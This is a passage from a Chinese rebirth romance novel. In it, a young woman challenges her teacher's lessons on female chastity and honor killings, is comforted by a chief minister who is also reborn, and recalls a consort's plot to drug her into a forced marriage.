因着前世林瑶被污蔑后发生的许多事,洛清苒本不想再去女学了。 但此时什么都还没发生,洛清苒暂时无法找到合适的理由说服父亲同意她离开女学,也不能用林瑶前世的经历劝现在的林瑶不再去女学。 是以洛清苒只得暂时耐着性子,继续去女学听那些她早已很是怀疑的东西。 洛清苒原以为自己能多忍耐些时日,再找机会带林瑶一起离开女学。却不曾想,病愈后回到女学的第一天,她便顶撞了讲授《女德》的女夫子。 “身为女子,便该性子柔顺,温婉贤淑。每日仪容须得端庄得体,言语间该温和宽容,无论出嫁前后都应勤于操持……” 当一袭雪白衣裙的女夫子端坐在堂上,语气柔婉地认真说起这些已经重复过无数遍的话时,洛清苒还勉强能克制自己心底的怀疑与反问。 但也因为太过熟悉,她知道女夫子接下来要说什么。 “而除了这些,于女子而言,最重要的便是‘贞洁’二字。身死事小,失贞事大。你们都要自爱自重,若是与除了自己夫君以外的男子来往过密甚至暗通款曲,失了清白的名声与身子,便是被沉塘都不为过,不如自己一根白绫……” “谋反、谋大逆、谋叛、恶逆、不道、大不敬、不孝、不睦、不义、内乱,这‘十恶’*重罪才会被处死。” 想起前世林瑶被沉塘时的惨状,洛清苒心绪剧烈起伏,终于忍不住出言打断了女夫子的话:“律法中并没有‘不贞’这条死罪。” 且不说林瑶什么都没做,即便是与裴知砚什么都已做过了的洛清苒,也绝不会因为贞洁这种东西去死。 “难道对女子的要求与惩处,能越过律法去吗?那要官府还有何用?” 那些话已是老生常谈,女夫子隔几日便会对大家耳提面命。从十岁开始,女学中人人都习以为常,也没觉得有什么不对。没想到今日竟会有人提出质疑。 是以洛清苒的话音刚落,堂内所有姑娘都噤若寒蝉。就连坐在洛清苒右手边的林瑶都心里一紧,立即朝她望去。 女夫子闻言也看向洛清苒。 她早年丧夫,之后一直为亡夫守节,还曾用匕首自伤以抗拒男人对她的强.暴。官府因此为她修建了一座贞节牌坊。她今日对这些未出嫁的姑娘们说的,也是她一直以来都在做的。 因为还从未被人这般顶撞过,女夫子蹙眉道:“女子不贞乃浪荡之举,族内的长辈可以在祠堂里当着祖宗们的面予以惩处,官府不会插手干涉。” “以前官府的确会默许宗族内自行解决此类事情,但十年前朝廷便已明令禁止官员及其亲属私自定人死罪。” 为保各地稳定,仅民间宗族仍有这样的权力。所以前世洛清苒才没预料到林瑶的继母竟会做到那个地步。 “此刻坐在这里的都是官眷,难道您是想鼓动她们支持家中父兄明知故犯吗?学生实在疑惑,还请您指教。” 洛清苒已逐渐平复了心绪,可以冷静地与女夫子争辩。 女夫子谨慎地没有将对话继续引向朝廷官员,而是语气有些严厉地斥责道:“这些并非学问,而是对你们德行的教导与鞭策,自古以来便是如此。你们身为学生,照做便是,何须有疑惑?” 洛清苒不疾不徐地指出:“方才您说女子该性子柔顺温婉,言语间温和宽容。” 女夫子听出来,洛清苒的言外之意是她为人师者都没有做到这些。 见咄咄逼人的洛清苒神色如常,似是丝毫不觉得自己的言行有何不妥,她不由得怒意更盛,冷声道: “这些都是于你们有益的良言,并不会害了你们。洁身自好的人何须替那些淫.荡下.贱的人担心会有什么下场?” “若是身心清白的人,又何须揪着失贞后的惩处不放?只要不犯错,自然无需担心后果。” 听出这话里的深意,在场很多姑娘都变了脸色。有人已经面露忧色地看向洛清苒,林瑶也在桌案下握住了洛清苒的手,眼神难掩忧虑。 洛清苒唇边浮现几分讽刺的笑意,直白地戳破:“您是在暗指我身心不清白吗?” “然后呢?需要验身吗?还是直接将我捆了送去沉塘?” 见她毫不顾忌地说起这些,女夫子面色微变,很快收敛了些许情绪,转而道:“你多虑了,我并无此意。你重病方愈,许是还没休养好,心绪不定罢了。” 有人说胡话时便说她是病了,这个法子从来很好用。 女夫子暗忖道。 洛清苒虽是她的学生,却更是朝廷重臣的女儿,将来也定会嫁个有权有势的夫家。女夫子绝不敢污蔑她清白。 “女子的清白随口便能被质疑甚至被污蔑,宗族私刑也能随时据此将人处死,您却说这样的规训于我们有益,只要不犯错便无需担忧更多。” 话里这些都并非假设,而是前世林瑶血淋淋的经历。洛清苒的声音里已经带了哽咽,握着林瑶的手也下意识收紧。 “验身能保证万无一失吗?更何况成婚后的妇人连验身的法子都用不了。但众口铄金,人言可畏,稍有差错,身为女子又该如何自证清白?难道要抱着‘清者自清’的念头慨然赴死才能聊以自证吗?” 洛清苒原本不想说这些,她也并非一定要与女夫子有这一场争辩。 她知道,质疑这些内容,除了让别人觉得她是因病坏了脑子之外,可能没有任何作用。 可前世林瑶被污蔑与人私通时,经老师们商议,女学很快便将她除名了,即便在那之前她在女学中一直名列前茅,是受很多老师喜爱的学生。当时将林瑶除名的建议便是由眼前这位女夫子首先提出的。 而为了撇清关系,不受此事牵连,很多曾与林瑶交好的姑娘也都出面斥责过林瑶,还有人哭着骂林瑶自己与人私通不算完,还要毁了身边人。 她们都或多或少了解林瑶的秉性和她跟继母之间的关系,难道不知道此事或许存疑吗? 只是多年如一日的规训与悬在头顶随时可能落下的利刃迫使她们必须立刻在“信任林瑶”与“自保”之间做出选择。 世人将女子分成了纯洁的和淫.荡的,前者才有机会拥有好的名声、好的婚事、好的生活,后者只会被唾骂、被厌弃。她们绝不能,也绝不想做后者,就必须用最激烈的方式与其划清界限。之后,她们便能因此变成有血有肉的活着的贞节牌坊。 仿佛林瑶曾经被接纳、被喜欢,都只是因为她完美符合世人对“贞洁”二字的想象与要求,而非因为那个活生生的人。 洛清苒看明白了这些。 她忘不了这些人的态度变化给林瑶带来的伤害与打击,忘不了林瑶被她们骂过之后难以抑制的自厌与自弃。 她明明什么都没有做错。 既然是这世道对女子的要求有问题,那就去质疑,去诘问,去奋力寻找其他可能。 哪怕能多叫醒一个人也好。 就算不会有任何效果,若能激怒女夫子,让她做主将洛清苒停课或是在女学除名,起码洛清苒也不必另找别的理由不再来女学了。 “而若是有人被陷害呢?若是有人并非生性淫.荡,而是成了他人阴谋的牺牲品呢?” 洛清苒虽是在发问,坚定的眼神却毫不躲避地与神色难看的女夫子对视。 “难道您有办法保证,在官府为您修建的那座贞节牌坊之下,不会有任何人因为任何原因质疑您、污蔑您吗?若有朝一日陷入这种境地,您又该如何?” 洛清苒没有含沙射影,也没有暗示或威胁什么,只是点出了女夫子多年来其实一直存在的顾虑。 身正不怕影子斜吗?这句话在这件事上是不管用的。女夫子很清楚这一点。 当年她虽用匕首自伤,逼退了想要强.暴她的人,却在很长一段时间里受流言侵扰,痛苦不已。若非有那一座贞节牌坊为她正名,或许……她早已殉了亡夫。 女夫子莫名不知该如何回答洛清苒的一个个问题。 方才一直只有洛清苒和女夫子在争辩,但林瑶温柔平和的声音忽然响起:“若有女子自愿违背了‘贞洁’二字,难道就当真比肩十恶不赦的死罪吗?” 说话时,林瑶也微微用力回握着洛清苒的手。 洛清苒心神俱震。 因为前世林瑶是被人污蔑惨死,是以洛清苒一直都想强调当今世道对女子贞洁的极端要求有可能会害死像林瑶那样分明什么都没做过的人。 但林瑶却说,即便不是被污蔑,而是自愿做了选择和决定,也不该因为“贞洁”二字便被剥夺生命。 因为那原本就是只属于她自己的身体。 只是因为世间对女子的要求更严苛些,所以对此的处罚也要更重些。 但可以谴责,可以责难,却不该将其与律法中的那些死罪等同。因为罪不至此。 对上林瑶满含赞同与支持的眼神,洛清苒心神微松—— 幸好,不只是她一人。 即便今日这些话可能无法带来任何改变,即便林瑶有些不明白洛清苒为何会忽然在众目睽睽之下反驳这些已经听过无数次的内容,但林瑶仍然温柔坚定地与她站在一处,不会让她陷入孤立无援的境地。 见光禄寺卿的次女林瑶也跟着洛清苒顶撞她、质问她,甚至问出的话更加出格时,女夫子的神色愈发难看了。 发现堂上其他姑娘大都神色困惑紧张,并未跟着她们胡闹,女夫子才稍稍松了一口气。 她暗自平复了纷繁躁乱的心绪,正欲以师者的身份,用一个不轻不重却说得过去的惩罚结束今天这场闹剧,以儆效尤时,却忽然隔着轩窗瞥见了廊下的一抹身影。 那人骨相极其优越,气质温雅,如玉如竹,虽面庞年轻,却有身居高位者的清肃气度,让人绝不敢轻视之。 对上那人古井无波的眼神,女夫子忽然心神微紧,有些犹豫了——都知道裴知砚差点成了洛家的女婿。 洛清苒是他心上人的妹妹,多年来他也一直在指导洛清苒的琴艺。若当着他的面惩罚洛清苒,或许会得罪这位年轻的首辅。 也不知怎会如此恰好,以往整月都不见得能来女学一次的人,偏在洛清苒疯了 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见他神色漠然,语气毫不亲和,不似有包庇之意,反而更像是要单独将洛清苒叫去训诫,女夫子也放心了些。 他果然听见了那些话,也同样并不赞同。有裴首辅加以教化,或许会比她出面更有效一些。但愿洛清苒不要因一念之差走错了路,毁了自己和家族。 女夫子收好自己的书册,端看洛清苒是否还会出言顶撞另一位老师。 见裴知砚要单独叫走自己,洛清苒不由得心生憋闷。 她不想去这一趟。 洛清苒侧首看向裴知砚。 他沉静的目光正落在她身上,平和深远。 此时周围分明还有许多人,也并无丝毫暧.昧旖.旎的气氛,但洛清苒却突兀地想起,在前世那些凌乱潮热的夜晚,她残存的记忆里,裴知砚常会用这样的眼神自上而下地垂眸凝望着她。 他这人,就连欢好时也是如此沉着敛净的模样。就好似……只有她会被弄乱,只有她会生出妄念,而他永远高坐云端。 洛清苒心底的抗拒又多了几分。 她知道裴知砚是君子,一向克己守礼,可是那又如何?因为她今日在堂上顶撞了女夫子,因为她质疑了由来已久的“贞洁”二字,他便也要重新将那副循规蹈矩的架子压在她身上吗?若知道前世那些夜晚里,他其实曾是她唯一的共犯,他又该如何? 虽然长得好看些,才华出众些,但裴知砚与旁人其实也并无不同。 也不知前世她为何会喜欢他那么久。 但见裴知砚沉默地站在原地,明显是正在等她,洛清苒再不情愿也只得先朝林瑶递去一个安抚的眼神,随即起身朝门外走去。 洛清苒不想与裴知砚有任何牵扯,也因为某种难以言明的情绪,不想同他在这里起争执。 更何况,以他一贯清冷淡然的性子,应也不会同她争辩什么,至多只会面露不赞同,让洛清苒体会到一拳打在棉花上的气闷。 洛清苒心里烦躁,走出门后径直继续往前。 却听见裴知砚在她身后同女夫子说:“今日之事只是师生间的交流,无需外传。” 声音并不大,却足以让在场的所有人都听见。他的意思也很明确——要让今日洛清苒和林瑶的话只留在女学内。 虽然方才洛清苒不卑不亢,直抒胸臆,但她其实知道,若今日自己的话传到父母那里,也许会让他们心生不安与忧虑。而林瑶最后那句反问也绝对算得上惊世骇俗,恐怕会成为她继母向她发难的机会。 裴知砚这样说,不仅是让学生们不要外传,也是提醒女夫子不能同洛清苒和林瑶的家人告状。 倒像是……在替她们收尾。 洛清苒脚步微顿,又很快收敛心绪,继续往裴知砚在女学中的琴室走去。 身后没有任何声音,但洛清苒知道,裴知砚正不疾不徐地同她走着同一条路。 他一直都是如此,无论发生什么,总是那副八风不动,斯文雅正的模样。有时让人觉得赏心悦目,有时又让人气郁不已。 待终于步入僻静的琴室时,洛清苒已经做好了听训的准备,也大致梳理了几句可以回击与反问的话。 却见裴知砚在长案边落座,随手拿起一本曲谱,转过身去背对着洛清苒翻开,并不同她说话。 洛清苒耐着性子垂眸等了片刻,还是忍不住先出声问道:“你叫我来,不是要训斥我吗?为何转过身去不说话?” 裴知砚停下翻阅书页的动作,回身看向洛清苒,仍然无甚起伏的语气里夹杂了几分就连他自己都没有察觉的温柔: “以前你想哭时,会让我转过身去,不许我看。” 闻言,洛清苒怔了怔,随即所有尖利的防备都没了方向,蓄势待发的复杂情绪也全变成了无言以对。 “那时我才十一岁。” 还对他没有任何别的心思,还会因为学琴时遇到难关而忍不住掉眼泪。 “我已不是那时……”洛清苒欲言又止。 裴知砚目光皎然若清地看着她,并不否认:“但想哭的时候,你仍不必强忍着。” 洛清苒愣在原地。 她方才面对女夫子时毫不示弱,也并未落于下风。裴知砚却好似看透了她,知道除了愤慨,她其实也有些难过,有些委屈。 洛清苒脑海中一直在重现前世林瑶被沉塘时的画面,也在一遍遍地回想她死后看见的那个林瑶同自己哭诉的每一句话。 即便洛清苒忍住了,没在争辩时流露哭腔,没有败下阵来,她也无法不觉得悲伤。 见她眼眶逐渐泛红,裴知砚不自觉将语气放得更轻缓了些,似开解安慰,又似劝哄:“你方才说的那些,都没有发生,不是吗?” 是啊。 那些糟糕的处境都还没有落在林瑶或她身上。 物伤其类的恐惧与委屈无法自控,但她如今有机会去阻止与改变。不算太早,但也幸好,仍不算晚。 洛清苒眸中盈着眼泪,声音有些闷:“你转过身去。” 方才或许还能忍住,但此时洛清苒觉得自己真的需要好好哭一场,将某些被压抑的情绪宣泄出来。 在家里时,为了不让父母和林瑶担心,她一直强行按捺着前世的死亡带给自己的恐惧与痛苦。眼下既然有机会,洛清苒不愿再强撑了。其他的事,她想暂时放到一旁。 闻言,裴知砚心神微动,却不动声色地依言照做。 他听出了她话里微不可察的埋怨与亲昵,这是此时的洛清芷本不会同他用的语气。 有过肌肤之亲的两人之间,很多改变都是不知不觉地发生的。等发现时,或许那些熟稔的语气与动作也已成了习惯。 裴知砚前段时日重病过一场。他甫一勉强恢复意识便着人密切注意着洛府的情况。 得知洛清苒也病倒的那日,裴知砚去看了她。见她与自己症状相似,他便猜测或许洛清苒也有了重活一世的机会。 他提前喂洛清苒服下了能助她平安度过那关键两日的药丸,想让她少受些苦。可她却仍然被那场重病折磨得清瘦了许多。 听见身后被有意克制过的低微泣声,裴知砚才终于缓缓松了一口气。 无论是亲眼目睹挚友的死亡还是自己亲身经历,其间痛苦都非比寻常。她能哭出来也好,一直压抑着,恐有积郁成疾的隐患。 身为男子,裴知砚不会傲慢地觉得自己能对世间女子的处境完全感同身受,那太高高在上了。 但方才洛清苒的每一声质问,裴知砚都记在了心里。 他不愿再让洛清苒经历任何痛苦。 某些时刻,她哭起来时其实很美,很动人。 但他不会再让她因难过而落泪。 5. 少年心意 洛清苒并不知晓同在一间琴室内的裴知砚此时正在想什么。 她自顾自背对着裴知砚哭了一会儿,等心底那些翻涌不止的浓烈情绪逐渐发泄出来,眼泪慢慢止住,洛清苒也冷静了。 哭过一场,她觉得心里好受了许多,总归是没那么沉重压抑了。 用丝帕仔细擦干净脸颊上的泪水后,洛清苒又缓缓调整了几回自己的吐息。待哭泣时那股周身自起的热意与躁意开始消散,她也已经重新恢复了素日的模样。 反正已经出来了,洛清苒不想再回去上琴艺课。她打算寻个地方慢慢等林瑶,再一起回家。 眼前的琴室……其实是个不错的地方。 因着裴知砚喜静,女学里为他安排的琴室僻静清雅,不会受人打扰,正适合洛清苒自己待一会儿。 但她不想同裴知砚独处。以前心心念念,忐忑期盼的事,如今于她来说已经没有什么意义和必要了。不再时时怀揣那些不能见光的情愫,她心上的负累少了许多。 洛清苒思忖了几息,仍背对着裴知砚,试探着问道:“你还要……” 一开口才发现自己还带着明显刚哭过的哑音,洛清苒顿了顿,莫名有些不太自在。 但想到前世自十七岁生辰那日起,裴知砚便见过某些她更丢脸的、绝不能示于人前的模样,洛清苒心里的别扭又少了几分。 虽说是回到了一切发生之前,可洛清苒只要看见裴知砚,就无法将此时的他和前世那个与自己一起中了蛊毒的裴知砚分开。 也就无法像前世此时那样,同他还算自然平常地相处。 洛清苒尽可能让自己声音正常,重新问道:“你还要训话吗?” 裴知砚听出了她的言外之意——若是不打算训话,他便可以回去继续讲授琴艺课了,也好给她留个清净地。 尽管没有面对面看着,裴知砚也不难想到刚哭过一场的洛清苒此时的模样—— 一双美眸中应还有被清泪润泽过的潋滟水光,眼眶和瓷白脸颊都泛着轻柔粉雾。任凭再冷心冷情的人看了,恐都会心软几分。 洛清苒总不愿让他看见她这副模样,每每都会抬手遮掩脸庞,躲避他落下的目光。 也就不察他的恶劣。 裴知砚敛回心绪,放下琴谱,没有转过身去,但也并未答洛清苒的问题,而是反问她:“我先送你回府?” 洛清苒想也不想,当即道:“不用了,我等一等林瑶,同她一起回去便是。” 她每日都会和林瑶一起,且无需约定,这已是她们共同的习惯。 饶是裴知砚也深谙此事,见洛清苒毫不犹豫地拒绝了自己,他还是无意识地眉梢轻拧。 思及今日她们和女夫子争辩时的场景,裴知砚猜测她们或许是还有话想同对方说。 她们在堂上提出的那些质疑,女夫子回答不了,身为首辅的裴知砚却不能无动于衷。他打算先仔细查阅与此相关的律法细则与案卷,理清现状,再计来日。 裴知砚便也不再提要送洛清苒回府的事。 今日的琴艺课本不是由他讲授,此时裴知砚也不必再回去。但既然洛清苒想独自待一会儿,裴知砚不会留下妨碍她。 “我先去别处,”裴知砚站起身,从长案后绕出,垂眸同仍抱膝坐在一旁的洛清苒说,“你歇在此处,不会有人来打扰你。 他知道洛清苒有偶尔喜欢独自发呆出神的习惯。 今日她的情绪刚那样剧烈起伏过,多歇会儿也好。 裴知砚安静地站在原地,并未立即离开。 满室沉默。 又等了一会儿,洛清苒终于侧过身,抬起眸子看向裴知砚,不解道:“还有什么事吗?” 他怎么还不走? 闻言,裴知砚神情微滞,心底某个地方莫名空了一下。 每月的那几个夜晚,无论裴知砚如何克制,洛清苒都会因为蛊毒而累得沉睡,不知他于何时离开。 但从更早以前开始,白日里清醒着与裴知砚分别时,洛清苒都会同他说一句“下回见面时……”。 大多数时候她提及的会是下回见面时想学的曲子或是想请教他的书册文章,偶尔也会说洛府下次会准备什么时令糕点,或今年的新茶又快到了等等琐碎平常的事情。 最初裴知砚并未发现有什么特殊之处,后来他才能看出洛清苒眸中隐秘微弱的期待——她没有明言,却字字句句都在盼着与他的下回见面。 而即便他无法回应更多,仅能答一句“好”或者“我记下了”,洛清苒眼底也会升起让人难以忽视的欢喜和几分复杂的挣扎之色。 多年来,裴知砚已经习惯了洛清苒会以这样潜藏期待的方式同自己告别。 前世变故发生之前,他最后一次去洛府点拨洛清苒琴艺时,她还说刚得了一首古琴曲,下回可以弹给他听一听。 此刻洛清苒还不知道他也获得了重活一世的机缘。但裴知砚记得,前世的这个时候,她练完琴后说的是下回府上会为他备着桃花羹。 可眼下,她似乎已经完全忘记了要同他说下回见面时会如何。 就好像,她已经不期待与他再见了。 裴知砚原本无波无澜的眼底浮现出几缕空茫。 前世分明还不是这样。 是什么让她发生了转变? 见裴知砚沉默不语,仍然站在不远处垂眸望着自己,洛清苒不由得蹙了蹙眉。 她正欲再问,却见裴知砚的神色似乎隐约冷沉了一分。 洛清苒:? “我先走了。”裴知砚的语气仍无甚起伏,端方的君子仪态依旧。 但只有他自己知道,转身离开琴室时,他竟平生第一回,有了几分落荒而逃的狼狈。 洛清苒神色不耐地蹙眉时,某个念头便开始拉拽裴知砚的思绪:她不愿同他多待。 更遑论期待与他的下回见面。 * 回洛家的路上。 马车内,林瑶和洛清苒并肩坐着,时不时用些忍冬提前备好的新鲜果子和糕点。 虽然看着不算太明显,但洛清苒不难猜到,林瑶此时有心事,应是有话想要问她。 果然,不多时,林瑶便稳稳放下手里已握了好一会儿的茶杯,温声问她:“清苒,你今日为何会忽然……” 她欲言又止。 “为何会忽然质疑那些已经听过无数次的内容吗?”洛清苒将林瑶的问题补全。 林瑶颔了颔首,关切道:“可是发生了何事?” 以往洛清苒虽也并不算赞成女夫子的那些教导之言,但从未如今日这般态度明确地质疑与反对过。 而洛清苒在堂上反驳女夫子的话时,林瑶握着她的手,能清楚地感觉到洛清苒的手微微颤抖着,她似是强行忍耐着某些格外强烈的情绪。 改变都应是有缘由的。林瑶实在想不出来,便只能问洛清苒。 她担心是发生了什么不好的事,洛清苒才会如此。 思及洛清苒对裴知砚的态度变化,林瑶心底的忧虑更甚。 洛清苒不愿让这一世的林瑶被前世的事影响,她独自待在琴室时便已想好了说辞,此时也顺势做了解释: “我听府上的人闲聊时说起,她家里有个远房亲戚被污蔑与人私通,还未找到自证的法子便由族中长辈做主捆了送去沉塘了,人……没能被救回来。” 说完,洛清苒不动声色地留意着林瑶的神情变化。 林瑶眉头紧皱,无名的悲痛在心底翻涌,她声音滞涩道:“她就这么被……害死了?” 兔死狐悲,林瑶无法不觉得悲痛—— 今日是一个她不认识的姑娘,那明日呢?会否便是她身边的人?甚至,她会不会陷入同样的绝境? 洛清苒轻轻点了点头,有些难过。 她和林瑶都死在那个池塘里。刚才那个说辞既是解释,也是试探。洛清苒看得出来,此时的林瑶全无前世的记忆。 眼前的林瑶仍安然无恙,洛清苒心中觉得庆幸。可前世那个林瑶,终究已经回不来了。 被另一个女子的命运牵动了心绪,两人都沉默下来,许久不再交谈。 马车稳稳地行驶了很长一段路。发觉洛清苒的情绪格外低沉,似乎比自己更受那个陌生姑娘的命运的影响,林瑶心疼不已。 那已成定局,并非她们可以扭转的事。可林瑶亦不想用弱化苦难的方式来减少她们心底因那个陌生姑娘而生的伤感。 林瑶不知该如何劝慰洛清苒,也不愿见她一直深陷于那些悲伤情绪中。 思忖了几息,林瑶换了话头,试着提醒道:“昨日我问过兄长,他说裴大人今日原本应该去国子监。也不知他为何会转而来了女学。” 既然洛清苒不愿再跟着裴知砚学琴,已经打算放下执念,拉开与裴知砚之间的距离,林瑶自然会帮她。 是以昨日她便同兄长打听了裴知砚近日的安排,知道他只有今日空闲,且已提前定好要去国子监给学生们讲释上次留下的题目。 可裴知砚却在洛清苒病愈后回女学的这一日临时过来了。 后来他看似要将洛清苒叫去训诫,却不仅没有责备她,还将自己的琴室留给洛清苒,让她可以安心独处。 其中用意,林瑶觉得需要提醒洛清苒。 若她已经彻底死心,那即便裴知砚有意,也于事无补。可若她还存有一些期冀,那见裴知砚今日之举,或许他们的关系还能有转机。 洛清苒明白林瑶的意思,却只是说:“许是他有别的安排吧。” 身居高位的裴知砚平日里事务繁多,今日他既已来过女学,接下来起码半月洛清苒都无需再与他见面了。 与他见面的次数越少越好,间隔得越久越好,待她能彻底将裴知砚从心底那个位置移除,到时见或不见,也就没有区别了。 见洛清苒已有了决定,林瑶便也不再多言,转而同她说起了旁的事情。 * 马车先在洛府门前停下。 待洛清苒下车后,马车随即转道送林瑶回去。 洛清苒刚同林瑶告别,便见有人正骑着一匹黑色骏马朝洛府而来。 春日暖阳下,马背上的少年一身玄色骑装,容貌俊朗却面有忧色。甫一看见洛清苒的身影,他眼底便浮现出不加掩饰的炽热情愫。 “清苒!”他语调上扬,一面朗声唤道,一面用力勒紧缰绳,在洛府门前停下。 “你慢着些。”见沈露明左手提着好几样东西,仅单手驭马,洛清苒不由得出声叮嘱道。< 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洛清苒记得,自己被母亲忽略的那几年里,伯母不仅常关心她,还常告诉她,对于一个疼爱孩子的母亲来说,失女之事着实不是一道容易捱过去的痛,劝洛清苒不要过多责怪她的母亲。 这次洛清苒重病时,伯母也曾亲自衣不解带地来照顾她。 “知你病愈,我母亲才总算可以放心些了。” 沈露明故意轻叹道,“我总觉得,如果有得选,我母亲肯定更愿意要你做女儿,不愿意要我。” 想起了什么,洛清苒调侃道:“所以伯母那回才会给你穿粉……” “那都是十几年前的事了!” 沈露明急忙打断她的话,又默默放低了声音,耳根微红地控诉道:“若非你建议,我母亲也不会起心动念,给我穿……穿粉裙。” “我可没提建议,”洛清苒笑着领沈露明进府,“我只是帮伯母在铺子里挑了最好看的裙衫而已。” 洛清苒揶揄道:“况且,我听伯母说,你自己当时穿上后也挺喜欢的,不是还转圈……” “当着这么多人,你就给我留点脸面吧。”沈露明认命地求饶道。 为了洛清苒的清名,长大后他们每次见面都不会避着人。这会儿周围有好几个洛府的家丁都强忍着笑意,不敢看向他们这边。 走在洛清苒身侧的沈露明浑身都有些不自在。 因为母亲们关系近,他和洛清苒便也自幼相识,互为玩伴。且因为沈露明只比洛清苒先出生一日,两人着实算得上是从小一起长大,熟知彼此的糗事。 以前还不觉得有什么,可自从察觉了自己对洛清苒的心思后,沈露明就恨不能回到儿时,将那个总做蠢事的自己揍一顿,威吓他别再在洛清苒面前一次又一次地丢脸。 否则就会像现在这样,他都快要上阵杀敌了,洛清苒却还记得他四岁时穿粉裙的糗样。 沈露明在心底重重地叹了一口气,后悔不已。 很快,他便用意明显地说起:“上回我同你提的那位偷偷在营帐里养狸奴的将军,后来才知道其实他一靠近狸奴便会浑身起红疹,严重了还会喘不上气来。” 洛清苒也不拆穿他这是在格外生硬地转移话题,配合地问道:“那后来如何了?” “军医给他熬了去红疹的汤药,他便一边喝药一边抱狸奴,谁劝都拦不住。” “能将两把重刀使得跟柳叶般轻巧的健硕将军,却每日‘软软’‘软软’地唤他的狸奴,那语调温柔极了,听着却怎么都让人觉得诡异。” 脑海中不由自主地有了那画面,洛清苒忍俊不禁,笑容明媚道:“难怪都说你们军营内卧虎藏龙。” 见她笑了,沈露明也不由得眉眼柔和地有了笑容。 洛清苒还记得那些他儿时的糗事也无妨。 只要她能一直像此时这样笑着,他便什么都愿意做。 至于那道正远远落在自己和她这边的眼神…… 即便洛清苒心里有那人,他也只是一个不战而降的懦弱对手而已,沈露明并不在意。 长街外的一侧。 眉目清冷的裴知砚静默而立,遥望着两人的身影一起消失在洛府内。 前世洛清苒在冰冷池水中挣扎的模样深深刻在了裴知砚心底,他绝不能再让她身涉任何险境。 所以虽未能亲自送洛清苒回府,裴知砚也跟着她和林瑶的马车行了这一路。 便也将方才那一切尽收眼底。 洛清苒借故停了同他学琴一事,今日在女学见到他时也有回避之意。可见到沈露明时,她面上却有不似作伪与客套的盈盈笑意。 算起来,他已有许久不曾见她像那样对自己笑过了。 少年人对洛清苒的炽热心思毫不遮掩,明晃晃地充盈在他看向她的每一个眼神里。即便隔着段距离,裴知砚也能看清沈露明对洛清苒的在意。 那洛清苒呢? 她是否也知晓沈露明的心意,又是否,已打算换个人喜欢? 所以才会不再期待与他的下回见面吗。 裴知砚微垂着眼,一贯明澈的眸光中多了几分晦暗。 6. 那场阴谋 洛府内。 洛清苒和沈露明一起去看望了她的母亲,还留在母亲的院子里用了午食。 沈露明午后要去国子监,不能久留。用过饭后洛清苒便送他往府门外走去。 路上,发现洛清苒的影子在明媚春光的投映下落了一截在自己右小臂上,沈露明不由得唇角微扬,抬起左手温柔地虚抚了抚,悄悄珍藏只属于这一刻,也只属于他的秘密。 “不到半月便是你的生辰了,有想好要如何过吗?”一直挂心着此事,沈露明问道。 洛清苒心神微顿,旋即面色如常地同他说:“应还是在府里庆生。” 前世洛清苒十七岁的生辰是在皇宫里过的。 荣宠正盛的陈贵妃是洛清苒的姨母,一直对洛清苒和洛清芷姐妹很好。 前世也是洛清苒的姨母提起,想在宫里为洛清苒庆生。 洛清苒并非皇室血脉,此事本不算合规矩,不过陈贵妃受宠,皇帝也愿意顺她心意。 但也是那一日,洛清苒才知道,原来陈贵妃一直以来对她的疼爱都别有目的。而陈贵妃在宫里为洛清苒这个小辈庆生,人人都以为是给了她莫大的脸面与荣誉,却不知晓,洛清苒就在那日被拉下了深渊。 除了皇后所生的太子以外,陈贵妃膝下的二皇子是最优秀的皇子。而几乎人人都知道,皇帝不喜太子,废储或许只是早晚的事。只是因为皇后的势力以及朝臣的反对,才一直没有下旨。 当今皇后的地位十分稳固,陈贵妃绝对无法取而代之。但她筹谋多年,一直想要将二皇子推上储位,自己将来好做太后。是以她费尽心思为自己的儿子拉拢朝臣,积累势力。 按理来说,洛清苒的父亲娶了陈贵妃的妹妹,应自然而然地站在二皇子那边。可他从始至终都并未表明过愿意支持她们夺嫡争位的立场。 陈贵妃曾提过让二皇子娶洛清苒为正妻,亲上加亲。但洛清苒的父亲以他们夫妻二人舍不得洛清苒,想将她多留几年为由,没有松口同意。 眼看着皇帝年纪渐长,太子的派系势力也越来越广,陈贵妃不能不着急。 所以前世的陈贵妃设了局,想让洛家仅剩的女儿洛清苒失.身于二皇子,迫使洛清苒嫁给二皇子,从此让洛家与他们母子紧紧绑在一起。 事涉洛清苒的清白与余生,陈贵妃笃定了洛家只能吃哑巴亏。 但陈贵妃后来只知道自己的儿子那晚被人打晕了,压根没见到洛清苒。却不知道,原本是为二皇子准备的那杯酒,竟阴差阳错地送到了裴知砚手里。 洛清苒十七岁生辰那晚之后,裴知砚请来的游医诊出他们体内有极难找到彻底解法的蛊毒。 洛清苒原本不知道为何陈贵妃不用简单的春酒,而要在其中加入蛊毒。 直到当月那蛊毒第二次发作,她被折磨得生不如死,不得不再次与裴知砚欢好才得以逐渐恢复过来,洛清苒终于明白—— 陈贵妃应是担心仅是失.身的结果不足以让洛清苒嫁给二皇子,所以才会用那样阴险的蛊毒,想让洛清苒每月都有几晚离不得二皇子,绝对无法嫁给旁人。 洛清苒不愿被设计嫁给二皇子,也不愿让那蛊毒强行将自己和裴知砚绑在一起。 即便前世的洛清苒还心悦于裴知砚,她也不想因为这种东西而与他产生如此深的羁绊。 如今重来一回,洛清苒不会再让自己踏入同一个陷阱,陷入同样的甚至是更糟糕的境地。 几日后,陈贵妃就该请洛清苒进宫,说起要在宫里为她庆生的事了。 后宫是陈贵妃的地方,洛清苒的手伸不到宫里去,无法提前有所布置。她便打算设法避开,索性不去宫里了。 若实在不行,就再“重病”一回。左右她刚刚病愈,有所反复也很正常。 但没有千日防贼的。既然已经知道陈贵妃图谋不轨,还是必须永绝后患,将她从高位拉下来,让她再无可以害人的身份与能力。 只是若要做到这一步,还得从长计议。或许可以从二皇子那里入手…… “你又神游天外了。”沈露明无奈地出声提醒道。 洛清苒连忙回过神来,见不知不觉间他们竟已经走到了府门口,不由得有些赧然:“抱歉,我方才在想别的事情。” 沈露明好奇地问:“在想到时要如何庆生吗?” “算是吧。”洛清苒含糊道。 “无论你想如何庆生,伯父和伯母肯定都会顺你心意。到时我也会像往年一样,带着礼物来为你庆生。” “那便提前谢过了,”洛清苒转而问,“你今年想要什么生辰礼物?” 沈露明只比她大一日,但他已经好几年不曾庆祝生辰了。因为当年在西北边境,沈露明的二姐便是死在了他生辰那日。自那以后沈露明便不再庆生。但亲朋好友们会默契地提前为他准备生辰礼物。 明显也想起了他的姐姐,沈露明的神色黯淡了几息,又很快被他掩下。 “你随意准备便是,不准备也无妨,不是什么了不起的大事。” 